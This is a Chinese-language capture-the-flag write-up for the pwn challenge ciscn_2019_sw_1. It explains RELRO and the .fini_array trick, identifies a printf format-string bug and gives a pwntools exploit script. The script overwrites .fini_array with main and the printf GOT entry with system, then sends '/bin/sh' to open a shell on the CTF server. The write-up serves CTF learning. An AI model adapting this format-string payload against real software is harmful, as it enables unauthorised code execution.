ciscn_2019_sw_1 Writeup

原创

Champa9ne 已于 2022-03-05 16:17:20 修改 224 收藏 1
文章标签： pwn
于 2021-05-11 21:44:48 首次发布

前提

- RELRO防御策略是当RELRO保护：
  - 为NO RELRO的时候，`init.array`、`fini.array`、`got.plt`均可读可写
  - 为PARTIAL RELRO的时候，`ini.array`、`fini.array`可读不可写，`got.plt`可读可写
  - 为FULL RELRO时，`init.array`、`fini.array`、`got.plt`均可读不可写。
- linux程序运行时：
  - 在加载的时候，会依次调用`init.array`数组中的每一个函数指针
  - 在结束的时候，依次调用`fini.array`中的每一个函数指针。
- 当程序出现格式化字符串漏洞，但是至少需要写两次才能完成攻击。
  - 当少于两个输入点时，可以考虑改写`fini.array`中的函数指针为`main`函数地址，可以再执行一次`main`函数。
  - 一般来说，这个数组的长度为1，也就是说只能写一个地址。[1]

程序逻辑

- 设置了数组存储上限`char format[68];`且输入限制为`__isoc99_scanf("%64s", format);`。
  - 不存在越界输入。
  - 输入的字符串只有64个字符。
- 存在输入字符串直接输出的情况`printf(format);`。可能存在格式化字符漏洞。
- 存在函数`_sys`，返回了`return system(command);`

思路

- 把`.fini_array`覆盖为`main`，使得程序结束后可以再次重新启用。
- 把`printf_got`覆盖为`system_plt`，使得第二次使用本程序中，跳转到`printf()`这一步时等效于执行`system()`。输入的参数即为`system()`的参数。
- 几个地址：
  - `system().plt` = 0x080483D0
  - `fini_array` = 0x0804979C
  - `printf.got` = 0x0804989C
  - `main()` = 0x08048534

```python
from pwn import *
context.log_level = "debug"

io = remote("node3.buuoj.cn",28414)
elf = ELF("./sw_1_ciscn_2019")

fini_array = 0x0804979C
printf_got = 0x0804989C

payload = p32(fini_array+2) + p32(printf_got+2)
payload += p32(printf_got) + p32(fini_array)
payload += "%"+str(0x0804-0x10)+"c" + "%4$hn"
payload += "%5$hn"
payload += "%"+str(0x83D0-0x0804)+"c" + "%6$hn"
payload += "%"+str(0x8534-0x83D0)+"c" + "%7$hn"


io.sendlineafter("Welcome to my ctf! What's your name?\n",payload)
io.sendlineafter("Welcome to my ctf! What's your name?\n","/bin/sh\x00")
io.interactive()
```

[1] 参考自 LynneHuan，ciscn_2019_sw_1 https://www.cnblogs.com/LynneHuan/p/14660529.html